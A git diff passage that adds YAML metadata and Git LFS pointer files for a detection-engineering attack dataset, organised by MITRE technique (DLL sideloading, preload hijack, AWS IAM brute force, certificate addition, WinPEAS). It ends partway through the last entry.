b/datasets/attack_techniques/T1574.002/wineloader/T1574.002_wineloader.yml @@ -0,0 +1,13 @@ +author: STRT +id: 62caec40-b328-41ca-878f-fc799ada2c80 +date: '2026-07-11' +description: Curated attack data generated for detection Windows SqlWriter SQLDumper + DLL Sideload +environment: attack_range +directory: wineloader +mitre_technique: [] +datasets: +- name: sqlwriter_sqldumper_sideload_windows-sysmon + path: /datasets/attack_techniques/T1574.002/wineloader/sqlwriter_sqldumper_sideload_windows-sysmon-62caec40-b328-41ca-878f-fc799ada2c80.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.002/wineloader/sqlwriter_sqldumper_sideload_windows-sysmon-62caec40-b328-41ca-878f-fc799ada2c80.log b/datasets/attack_techniques/T1574.002/wineloader/sqlwriter_sqldumper_sideload_windows-sysmon-62caec40-b328-41ca-878f-fc799ada2c80.log new file mode 100644 index 000000000..83ed60774 --- /dev/null +++ b/datasets/attack_techniques/T1574.002/wineloader/sqlwriter_sqldumper_sideload_windows-sysmon-62caec40-b328-41ca-878f-fc799ada2c80.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:12e61bf4bd8e605a98b7c0ee6938aff2ad8e9db87c2016abeaf4f50972b1b1f9 +size 4446 diff --git a/datasets/attack_techniques/T1574.006/auditd_path_preload_file/T1574.006_auditd_path_preload_file.yml b/datasets/attack_techniques/T1574.006/auditd_path_preload_file/T1574.006_auditd_path_preload_file.yml new file mode 100644 index 000000000..3541f6b3c --- /dev/null +++ b/datasets/attack_techniques/T1574.006/auditd_path_preload_file/T1574.006_auditd_path_preload_file.yml @@ -0,0 +1,13 @@ +author: STRT +id: 86c42cba-c8dc-4921-a60f-157176c3855a +date: '2026-07-10' +description: Curated attack data generated for detection Linux Auditd Preload Hijack + Via Preload File +environment: attack_range +directory: auditd_path_preload_file +mitre_technique: [] +datasets: +- name: path_preload + path: /datasets/attack_techniques/T1574.006/auditd_path_preload_file/path_preload-86c42cba-c8dc-4921-a60f-157176c3855a.log + sourcetype: auditd + source: auditd diff --git a/datasets/attack_techniques/T1574.006/auditd_path_preload_file/path_preload-86c42cba-c8dc-4921-a60f-157176c3855a.log b/datasets/attack_techniques/T1574.006/auditd_path_preload_file/path_preload-86c42cba-c8dc-4921-a60f-157176c3855a.log new file mode 100644 index 000000000..4e9fe3a36 --- /dev/null +++ b/datasets/attack_techniques/T1574.006/auditd_path_preload_file/path_preload-86c42cba-c8dc-4921-a60f-157176c3855a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f8c4550a21a541b1545779af559cdaab9015cb92afcf766137bcfb468a626e24 +size 1488 diff --git a/datasets/attack_techniques/T1574.008/snapattack/T1574.008_snapattack.yml b/datasets/attack_techniques/T1574.008/snapattack/T1574.008_snapattack.yml new file mode 100644 index 000000000..9c67964b3 --- /dev/null +++ b/datasets/attack_techniques/T1574.008/snapattack/T1574.008_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: b153954a-3a89-451b-8304-213719808dfa +date: '2026-07-11' +description: Curated attack data generated for detection Windows Get-Variable.EXE + Execution from WindowsApps Folder +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1574.008/snapattack/snapattack-b153954a-3a89-451b-8304-213719808dfa.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.008/snapattack/snapattack-b153954a-3a89-451b-8304-213719808dfa.log b/datasets/attack_techniques/T1574.008/snapattack/snapattack-b153954a-3a89-451b-8304-213719808dfa.log new file mode 100644 index 000000000..4fa4132bd --- /dev/null +++ b/datasets/attack_techniques/T1574.008/snapattack/snapattack-b153954a-3a89-451b-8304-213719808dfa.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:3782c72e15a34623757956ed483eb81810734a40709eebd3ea6d488e2b8ab693 +size 4476 diff --git a/datasets/attack_techniques/T1574.009/atomic_red_team/T1574.009_atomic_red_team.yml b/datasets/attack_techniques/T1574.009/atomic_red_team/T1574.009_atomic_red_team.yml new file mode 100644 index 000000000..4b3ef2bf1 --- /dev/null +++ b/datasets/attack_techniques/T1574.009/atomic_red_team/T1574.009_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: 48b238a2-a4dd-440f-921b-487f13db67f3 +date: '2026-07-10' +description: Curated attack data generated for detection Detect Path Interception + By Creation Of program exe +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1574.009/atomic_red_team/windows-sysmon-48b238a2-a4dd-440f-921b-487f13db67f3.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.009/atomic_red_team/windows-sysmon-48b238a2-a4dd-440f-921b-487f13db67f3.log b/datasets/attack_techniques/T1574.009/atomic_red_team/windows-sysmon-48b238a2-a4dd-440f-921b-487f13db67f3.log new file mode 100644 index 000000000..deb562ad2 --- /dev/null +++ b/datasets/attack_techniques/T1574.009/atomic_red_team/windows-sysmon-48b238a2-a4dd-440f-921b-487f13db67f3.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:f4978802d57b6ced46ba315d6402c739cf7268d7ae48bfc9a43b22e921304fbd +size 153958 diff --git a/datasets/attack_techniques/T1574.011/change_registry_path_service/T1574.011_change_registry_path_service.yml b/datasets/attack_techniques/T1574.011/change_registry_path_service/T1574.011_change_registry_path_service.yml new file mode 100644 index 000000000..70862d478 --- /dev/null +++ b/datasets/attack_techniques/T1574.011/change_registry_path_service/T1574.011_change_registry_path_service.yml @@ -0,0 +1,13 @@ +author: STRT +id: ca2dc89e-1a97-4ba1-b1d6-5b94b9c044f7 +date: '2026-07-11' +description: Curated attack data generated for detection Reg exe Manipulating Windows + Services Registry Keys +environment: attack_range +directory: change_registry_path_service +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1574.011/change_registry_path_service/windows-sysmon-ca2dc89e-1a97-4ba1-b1d6-5b94b9c044f7.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.011/change_registry_path_service/windows-sysmon-ca2dc89e-1a97-4ba1-b1d6-5b94b9c044f7.log b/datasets/attack_techniques/T1574.011/change_registry_path_service/windows-sysmon-ca2dc89e-1a97-4ba1-b1d6-5b94b9c044f7.log new file mode 100644 index 000000000..572cfd80f --- /dev/null +++ b/datasets/attack_techniques/T1574.011/change_registry_path_service/windows-sysmon-ca2dc89e-1a97-4ba1-b1d6-5b94b9c044f7.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:7ed631369f895a11192a78be8e1ea7afc6e8cdbb364f760d87bcac8fba794e6f +size 4244 diff --git a/datasets/attack_techniques/T1574.014/appdomain_hijack_artifacts/T1574.014_appdomain_hijack_artifacts.yml b/datasets/attack_techniques/T1574.014/appdomain_hijack_artifacts/T1574.014_appdomain_hijack_artifacts.yml new file mode 100644 index 000000000..2c95a08e5 --- /dev/null +++ b/datasets/attack_techniques/T1574.014/appdomain_hijack_artifacts/T1574.014_appdomain_hijack_artifacts.yml @@ -0,0 +1,13 @@ +author: STRT +id: bbcf0351-5ee2-45bc-b084-e6687fa73300 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Potential AppDomainManager + Hijack Artifacts Creation +environment: attack_range +directory: appdomain_hijack_artifacts +mitre_technique: [] +datasets: +- name: appdomain_hijack + path: /datasets/attack_techniques/T1574.014/appdomain_hijack_artifacts/appdomain_hijack-bbcf0351-5ee2-45bc-b084-e6687fa73300.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1574.014/appdomain_hijack_artifacts/appdomain_hijack-bbcf0351-5ee2-45bc-b084-e6687fa73300.log b/datasets/attack_techniques/T1574.014/appdomain_hijack_artifacts/appdomain_hijack-bbcf0351-5ee2-45bc-b084-e6687fa73300.log new file mode 100644 index 000000000..87a4a5884 --- /dev/null +++ b/datasets/attack_techniques/T1574.014/appdomain_hijack_artifacts/appdomain_hijack-bbcf0351-5ee2-45bc-b084-e6687fa73300.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:84648763e4361161e2f1dcee99cf1650e9adc943004eacc09bc4dbef06ce3d01 +size 5044 diff --git a/datasets/attack_techniques/T1574/snapattack/T1574_snapattack.yml b/datasets/attack_techniques/T1574/snapattack/T1574_snapattack.yml new file mode 100644 index 000000000..589448ff0 --- /dev/null +++ b/datasets/attack_techniques/T1574/snapattack/T1574_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: af15d4ac-c0fd-40f7-b3c3-d35be5219380 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Set Custom DNS ServerLevelPlugin + Via Dnscmd +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1574/snapattack/snapattack-af15d4ac-c0fd-40f7-b3c3-d35be5219380.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/datasets/attack_techniques/T1574/snapattack/snapattack-af15d4ac-c0fd-40f7-b3c3-d35be5219380.log b/datasets/attack_techniques/T1574/snapattack/snapattack-af15d4ac-c0fd-40f7-b3c3-d35be5219380.log new file mode 100644 index 000000000..7d382d5ff --- /dev/null +++ b/datasets/attack_techniques/T1574/snapattack/snapattack-af15d4ac-c0fd-40f7-b3c3-d35be5219380.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:82639e2e4da5c0a0d116c5c6d3376864af1deed39506d7e2f3a876751130a10c +size 1547 diff --git a/datasets/attack_techniques/T1578.005/aws_authorize_security_group/T1578.005_aws_authorize_security_group.yml b/datasets/attack_techniques/T1578.005/aws_authorize_security_group/T1578.005_aws_authorize_security_group.yml new file mode 100644 index 000000000..5bf04eabc --- /dev/null +++ b/datasets/attack_techniques/T1578.005/aws_authorize_security_group/T1578.005_aws_authorize_security_group.yml @@ -0,0 +1,13 @@ +author: STRT +id: 3bfe1e6a-12cd-45e5-aad9-1626063e8976 +date: '2026-07-10' +description: Curated attack data generated for detection Cloud Security Groups Modifications + by User +environment: attack_range +directory: aws_authorize_security_group +mitre_technique: [] +datasets: +- name: aws_authorize_security_group + path: /datasets/attack_techniques/T1578.005/aws_authorize_security_group/aws_authorize_security_group-3bfe1e6a-12cd-45e5-aad9-1626063e8976.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1578.005/aws_authorize_security_group/aws_authorize_security_group-3bfe1e6a-12cd-45e5-aad9-1626063e8976.log b/datasets/attack_techniques/T1578.005/aws_authorize_security_group/aws_authorize_security_group-3bfe1e6a-12cd-45e5-aad9-1626063e8976.log new file mode 100644 index 000000000..26de939c2 --- /dev/null +++ b/datasets/attack_techniques/T1578.005/aws_authorize_security_group/aws_authorize_security_group-3bfe1e6a-12cd-45e5-aad9-1626063e8976.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6d9c697ea32ae18a4d8a66fff42d5bdf07366e2b2557152e03460ae71fd14199 +size 15300 diff --git a/datasets/attack_techniques/T1580/aws_bedrock_list_foundation_model_failures/T1580_aws_bedrock_list_foundation_model_failures.yml b/datasets/attack_techniques/T1580/aws_bedrock_list_foundation_model_failures/T1580_aws_bedrock_list_foundation_model_failures.yml new file mode 100644 index 000000000..77918c365 --- /dev/null +++ b/datasets/attack_techniques/T1580/aws_bedrock_list_foundation_model_failures/T1580_aws_bedrock_list_foundation_model_failures.yml @@ -0,0 +1,13 @@ +author: STRT +id: 645e3b27-ec24-4db3-90eb-886496dc132a +date: '2026-07-10' +description: Curated attack data generated for detection AWS Bedrock High Number List + Foundation Model Failures +environment: attack_range +directory: aws_bedrock_list_foundation_model_failures +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1580/aws_bedrock_list_foundation_model_failures/cloudtrail-645e3b27-ec24-4db3-90eb-886496dc132a.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1580/aws_bedrock_list_foundation_model_failures/cloudtrail-645e3b27-ec24-4db3-90eb-886496dc132a.log b/datasets/attack_techniques/T1580/aws_bedrock_list_foundation_model_failures/cloudtrail-645e3b27-ec24-4db3-90eb-886496dc132a.log new file mode 100644 index 000000000..37f8151f3 --- /dev/null +++ b/datasets/attack_techniques/T1580/aws_bedrock_list_foundation_model_failures/cloudtrail-645e3b27-ec24-4db3-90eb-886496dc132a.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:af758e54154e1b6cd2e8058ec66bc7a3c99245c74d3cb569764c40113cc6f980 +size 15852 diff --git a/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/T1580_aws_iam_accessdenied_discovery_events.yml b/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/T1580_aws_iam_accessdenied_discovery_events.yml new file mode 100644 index 000000000..882432ff8 --- /dev/null +++ b/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/T1580_aws_iam_accessdenied_discovery_events.yml @@ -0,0 +1,17 @@ +author: STRT +id: c9b94a7f-9604-42b4-8159-3adb2af30515 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS IAM AccessDenied + Discovery Events +environment: attack_range +directory: aws_iam_accessdenied_discovery_events +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/asl_ocsf_cloudtrail-c9b94a7f-9604-42b4-8159-3adb2af30515.log + sourcetype: aws:asl + source: aws_asl +- name: aws_iam_accessdenied_discovery_events + path: /datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/aws_iam_accessdenied_discovery_events-c9b94a7f-9604-42b4-8159-3adb2af30515.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/asl_ocsf_cloudtrail-c9b94a7f-9604-42b4-8159-3adb2af30515.log b/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/asl_ocsf_cloudtrail-c9b94a7f-9604-42b4-8159-3adb2af30515.log new file mode 100644 index 000000000..63aea6a9f --- /dev/null +++ b/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/asl_ocsf_cloudtrail-c9b94a7f-9604-42b4-8159-3adb2af30515.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:43304d49d8303f7bc847da0319ae793c8c8795ccafc4617a4bcfbb71fb78f62b +size 12881 diff --git a/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/aws_iam_accessdenied_discovery_events-c9b94a7f-9604-42b4-8159-3adb2af30515.log b/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/aws_iam_accessdenied_discovery_events-c9b94a7f-9604-42b4-8159-3adb2af30515.log new file mode 100644 index 000000000..3cf054764 --- /dev/null +++ b/datasets/attack_techniques/T1580/aws_iam_accessdenied_discovery_events/aws_iam_accessdenied_discovery_events-c9b94a7f-9604-42b4-8159-3adb2af30515.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:6a7695dceeea90d8c091231bf426d13bd1e61e4a6dea54e341d58c93ce98dadf +size 1071917 diff --git a/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/T1580_aws_iam_assume_role_policy_brute_force.yml b/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/T1580_aws_iam_assume_role_policy_brute_force.yml new file mode 100644 index 000000000..ad216b8dd --- /dev/null +++ b/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/T1580_aws_iam_assume_role_policy_brute_force.yml @@ -0,0 +1,17 @@ +author: STRT +id: 29fcace7-48ea-4efa-bd31-b0b6eba307a1 +date: '2026-07-10' +description: Curated attack data generated for detection ASL AWS IAM Assume Role Policy + Brute Force +environment: attack_range +directory: aws_iam_assume_role_policy_brute_force +mitre_technique: [] +datasets: +- name: asl_ocsf_cloudtrail + path: /datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/asl_ocsf_cloudtrail-29fcace7-48ea-4efa-bd31-b0b6eba307a1.log + sourcetype: aws:asl + source: aws_asl +- name: aws_iam_assume_role_policy_brute_force + path: /datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/aws_iam_assume_role_policy_brute_force-29fcace7-48ea-4efa-bd31-b0b6eba307a1.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/asl_ocsf_cloudtrail-29fcace7-48ea-4efa-bd31-b0b6eba307a1.log b/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/asl_ocsf_cloudtrail-29fcace7-48ea-4efa-bd31-b0b6eba307a1.log new file mode 100644 index 000000000..b1674fe1b --- /dev/null +++ b/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/asl_ocsf_cloudtrail-29fcace7-48ea-4efa-bd31-b0b6eba307a1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:4bfa0bd76b719a07a09197cc2d43ff9ea9d11863d6c7bf9973032020cac9664b +size 11010 diff --git a/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/aws_iam_assume_role_policy_brute_force-29fcace7-48ea-4efa-bd31-b0b6eba307a1.log b/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/aws_iam_assume_role_policy_brute_force-29fcace7-48ea-4efa-bd31-b0b6eba307a1.log new file mode 100644 index 000000000..b0a95477e --- /dev/null +++ b/datasets/attack_techniques/T1580/aws_iam_assume_role_policy_brute_force/aws_iam_assume_role_policy_brute_force-29fcace7-48ea-4efa-bd31-b0b6eba307a1.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:93d0288274b8b32c8289df0f2226cea26adf3ccc9989f5e7c1a9fff1b25ae258 +size 15615 diff --git a/datasets/attack_techniques/T1586.003/aws_console_login_multiple_ips/T1586.003_aws_console_login_multiple_ips.yml b/datasets/attack_techniques/T1586.003/aws_console_login_multiple_ips/T1586.003_aws_console_login_multiple_ips.yml new file mode 100644 index 000000000..0e219d20c --- /dev/null +++ b/datasets/attack_techniques/T1586.003/aws_console_login_multiple_ips/T1586.003_aws_console_login_multiple_ips.yml @@ -0,0 +1,13 @@ +author: STRT +id: de1a95e8-9d5d-44e0-a8f1-792b787797eb +date: '2026-07-10' +description: Curated attack data generated for detection AWS Successful Console Authentication + From Multiple IPs +environment: attack_range +directory: aws_console_login_multiple_ips +mitre_technique: [] +datasets: +- name: cloudtrail + path: /datasets/attack_techniques/T1586.003/aws_console_login_multiple_ips/cloudtrail-de1a95e8-9d5d-44e0-a8f1-792b787797eb.log + sourcetype: aws:cloudtrail + source: aws_cloudtrail diff --git a/datasets/attack_techniques/T1586.003/aws_console_login_multiple_ips/cloudtrail-de1a95e8-9d5d-44e0-a8f1-792b787797eb.log b/datasets/attack_techniques/T1586.003/aws_console_login_multiple_ips/cloudtrail-de1a95e8-9d5d-44e0-a8f1-792b787797eb.log new file mode 100644 index 000000000..17596fd1b --- /dev/null +++ b/datasets/attack_techniques/T1586.003/aws_console_login_multiple_ips/cloudtrail-de1a95e8-9d5d-44e0-a8f1-792b787797eb.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:78947c861f9ca150db2e48d7a624784cde3fc1c9b844d431d8579e22061a42a9 +size 8654 diff --git a/datasets/attack_techniques/T1586.003/okta_multiple_city/T1586.003_okta_multiple_city.yml b/datasets/attack_techniques/T1586.003/okta_multiple_city/T1586.003_okta_multiple_city.yml new file mode 100644 index 000000000..07227b8cf --- /dev/null +++ b/datasets/attack_techniques/T1586.003/okta_multiple_city/T1586.003_okta_multiple_city.yml @@ -0,0 +1,13 @@ +author: STRT +id: e4661982-a456-458c-a125-44e2c85b500d +date: '2026-07-13' +description: Curated attack data generated for detection Okta User Logins from Multiple + Cities +environment: attack_range +directory: okta_multiple_city +mitre_technique: [] +datasets: +- name: okta_multiple_city_im2 + path: /datasets/attack_techniques/T1586.003/okta_multiple_city/okta_multiple_city_im2-e4661982-a456-458c-a125-44e2c85b500d.log + sourcetype: OktaIM2:log + source: Okta diff --git a/datasets/attack_techniques/T1586.003/okta_multiple_city/okta_multiple_city_im2-e4661982-a456-458c-a125-44e2c85b500d.log b/datasets/attack_techniques/T1586.003/okta_multiple_city/okta_multiple_city_im2-e4661982-a456-458c-a125-44e2c85b500d.log new file mode 100644 index 000000000..16b03fea1 --- /dev/null +++ b/datasets/attack_techniques/T1586.003/okta_multiple_city/okta_multiple_city_im2-e4661982-a456-458c-a125-44e2c85b500d.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:b1fb620ebcdeb4a6b0fd59d4264d3944ad32750e0d5018a802aadd77b78fb46b +size 4692 diff --git a/datasets/attack_techniques/T1587.002/atomic_red_team/T1587.002_atomic_red_team.yml b/datasets/attack_techniques/T1587.002/atomic_red_team/T1587.002_atomic_red_team.yml new file mode 100644 index 000000000..377d3d8c6 --- /dev/null +++ b/datasets/attack_techniques/T1587.002/atomic_red_team/T1587.002_atomic_red_team.yml @@ -0,0 +1,13 @@ +author: STRT +id: c378633e-d661-44c1-ae93-dc303d04ff25 +date: '2026-07-11' +description: Curated attack data generated for detection Windows Registry Certificate + Added +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: certblob_windows-sysmon + path: /datasets/attack_techniques/T1587.002/atomic_red_team/certblob_windows-sysmon-c378633e-d661-44c1-ae93-dc303d04ff25.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1587.002/atomic_red_team/certblob_windows-sysmon-c378633e-d661-44c1-ae93-dc303d04ff25.log b/datasets/attack_techniques/T1587.002/atomic_red_team/certblob_windows-sysmon-c378633e-d661-44c1-ae93-dc303d04ff25.log new file mode 100644 index 000000000..dc27df088 --- /dev/null +++ b/datasets/attack_techniques/T1587.002/atomic_red_team/certblob_windows-sysmon-c378633e-d661-44c1-ae93-dc303d04ff25.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:e0b44d96515bb609332c985db692fdc04e5a4ccf72ef622792f7dde080355686 +size 38150 diff --git a/datasets/attack_techniques/T1587.003/add_store_cert/T1587.003_add_store_cert.yml b/datasets/attack_techniques/T1587.003/add_store_cert/T1587.003_add_store_cert.yml new file mode 100644 index 000000000..706ef6742 --- /dev/null +++ b/datasets/attack_techniques/T1587.003/add_store_cert/T1587.003_add_store_cert.yml @@ -0,0 +1,13 @@ +author: STRT +id: 207527b8-d3ad-45fe-82c6-fe218bb3292c +date: '2026-07-11' +description: Curated attack data generated for detection Windows Certutil Root Certificate + Addition +environment: attack_range +directory: add_store_cert +mitre_technique: [] +datasets: +- name: addstore_cert + path: /datasets/attack_techniques/T1587.003/add_store_cert/addstore_cert-207527b8-d3ad-45fe-82c6-fe218bb3292c.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1587.003/add_store_cert/addstore_cert-207527b8-d3ad-45fe-82c6-fe218bb3292c.log b/datasets/attack_techniques/T1587.003/add_store_cert/addstore_cert-207527b8-d3ad-45fe-82c6-fe218bb3292c.log new file mode 100644 index 000000000..a50047691 --- /dev/null +++ b/datasets/attack_techniques/T1587.003/add_store_cert/addstore_cert-207527b8-d3ad-45fe-82c6-fe218bb3292c.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:35bdacae30b154f5ec04c874bb640f6748f4c84c5f482e5a5b01866beed24b04 +size 2021 diff --git a/datasets/attack_techniques/T1588.002/atomic_red_team/T1588.002_atomic_red_team.yml b/datasets/attack_techniques/T1588.002/atomic_red_team/T1588.002_atomic_red_team.yml new file mode 100644 index 000000000..da7c5020a --- /dev/null +++ b/datasets/attack_techniques/T1588.002/atomic_red_team/T1588.002_atomic_red_team.yml @@ -0,0 +1,12 @@ +author: STRT +id: f9ac55de-a734-4a01-918e-5a46b3e97478 +date: '2026-07-11' +description: Curated attack data generated for detection Windows NirSoft AdvancedRun +environment: attack_range +directory: atomic_red_team +mitre_technique: [] +datasets: +- name: windows-sysmon + path: /datasets/attack_techniques/T1588.002/atomic_red_team/windows-sysmon-f9ac55de-a734-4a01-918e-5a46b3e97478.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1588.002/atomic_red_team/windows-sysmon-f9ac55de-a734-4a01-918e-5a46b3e97478.log b/datasets/attack_techniques/T1588.002/atomic_red_team/windows-sysmon-f9ac55de-a734-4a01-918e-5a46b3e97478.log new file mode 100644 index 000000000..814becae7 --- /dev/null +++ b/datasets/attack_techniques/T1588.002/atomic_red_team/windows-sysmon-f9ac55de-a734-4a01-918e-5a46b3e97478.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c0251984e02bc7dbd8279cf7dbef1ce6d74718f9e378394b0244973c43ba3076 +size 4336917 diff --git a/datasets/attack_techniques/T1588.002/nirsoft_tooling/T1588.002_nirsoft_tooling.yml b/datasets/attack_techniques/T1588.002/nirsoft_tooling/T1588.002_nirsoft_tooling.yml new file mode 100644 index 000000000..ec342bb88 --- /dev/null +++ b/datasets/attack_techniques/T1588.002/nirsoft_tooling/T1588.002_nirsoft_tooling.yml @@ -0,0 +1,13 @@ +author: STRT +id: 0a4727c2-0cb6-40f9-9650-6b67fdccf224 +date: '2026-07-11' +description: Curated attack data generated for detection Windows NirSoft Tool Bundle + File Created +environment: attack_range +directory: nirsoft_tooling +mitre_technique: [] +datasets: +- name: nirsoft_file_bundle_created + path: /datasets/attack_techniques/T1588.002/nirsoft_tooling/nirsoft_file_bundle_created-0a4727c2-0cb6-40f9-9650-6b67fdccf224.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1588.002/nirsoft_tooling/nirsoft_file_bundle_created-0a4727c2-0cb6-40f9-9650-6b67fdccf224.log b/datasets/attack_techniques/T1588.002/nirsoft_tooling/nirsoft_file_bundle_created-0a4727c2-0cb6-40f9-9650-6b67fdccf224.log new file mode 100644 index 000000000..a7d9b66cd --- /dev/null +++ b/datasets/attack_techniques/T1588.002/nirsoft_tooling/nirsoft_file_bundle_created-0a4727c2-0cb6-40f9-9650-6b67fdccf224.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:21a2ebe4dd294ab03bffae0a7c67dbbcfdfa1b04ab3286f0d097cfd940c0620d +size 2136 diff --git a/datasets/attack_techniques/T1590.002/enum_dns_record/T1590.002_enum_dns_record.yml b/datasets/attack_techniques/T1590.002/enum_dns_record/T1590.002_enum_dns_record.yml new file mode 100644 index 000000000..c031ae54e --- /dev/null +++ b/datasets/attack_techniques/T1590.002/enum_dns_record/T1590.002_enum_dns_record.yml @@ -0,0 +1,13 @@ +author: STRT +id: d84f1588-a173-45ba-8f51-655c783c0d99 +date: '2026-07-11' +description: Curated attack data generated for detection Windows DNS Gather Network + Info +environment: attack_range +directory: enum_dns_record +mitre_technique: [] +datasets: +- name: sysmon + path: /datasets/attack_techniques/T1590.002/enum_dns_record/sysmon-d84f1588-a173-45ba-8f51-655c783c0d99.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/datasets/attack_techniques/T1590.002/enum_dns_record/sysmon-d84f1588-a173-45ba-8f51-655c783c0d99.log b/datasets/attack_techniques/T1590.002/enum_dns_record/sysmon-d84f1588-a173-45ba-8f51-655c783c0d99.log new file mode 100644 index 000000000..618990d23 --- /dev/null +++ b/datasets/attack_techniques/T1590.002/enum_dns_record/sysmon-d84f1588-a173-45ba-8f51-655c783c0d99.log @@ -0,0 +1,3 @@ +version https://git-lfs-github-com-gh.2025025.xyz/spec/v1 +oid sha256:c3977bd24c68fb97cc13073dd4e526b446596382d9e17a0a81d0cbc4f6b5eef6 +size 1985 diff --git a/datasets/attack_techniques/T1590/snapattack/T1590_snapattack.yml b/datasets/attack_techniques/T1590/snapattack/T1590_snapattack.yml new file mode 100644 index 000000000..9c3beeb0a --- /dev/null +++ b/datasets/attack_techniques/T1590/snapattack/T1590_snapattack.yml @@ -0,0 +1,13 @@ +author: STRT +id: 5bfac3e9-d57a-43c4-bc6b-62304e17ae16 +date: '2026-07-11' +description: Curated attack data generated for detection Windows WinPEAS PowerShell + Script Execution +environment: attack_range +directory: snapattack +mitre_technique: [] +datasets: +- name: snapattack + path: /datasets/attack_techniques/T1590/snapattack/snapattack-5bfac3e9-d57a-43c4-bc6b-62304e17ae16.log + 